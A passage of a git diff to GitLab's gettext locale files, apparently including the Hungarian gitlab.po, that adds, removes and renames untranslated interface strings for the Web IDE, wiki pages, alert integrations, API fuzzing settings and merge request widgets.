msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33202,9 +34003,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33232,6 +34039,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33241,6 +34051,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33646,15 +34459,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33829,6 +34657,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33928,9 +34759,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34003,34 +34831,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34042,9 +34885,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34057,9 +34897,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34120,6 +34957,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34276,6 +35116,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34417,6 +35263,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34501,9 +35350,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34540,12 +35386,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34579,7 +35419,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34594,9 +35434,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34780,12 +35617,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34906,6 +35749,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34999,7 +35845,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35107,6 +35953,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35410,6 +36259,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35599,6 +36457,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35770,7 +36631,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35806,13 +36667,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35926,9 +36784,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36079,18 +36934,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36121,9 +36970,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36190,15 +37036,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36481,9 +37318,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36529,6 +37363,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index 70785d672cc..5c876008fe3 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:16\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
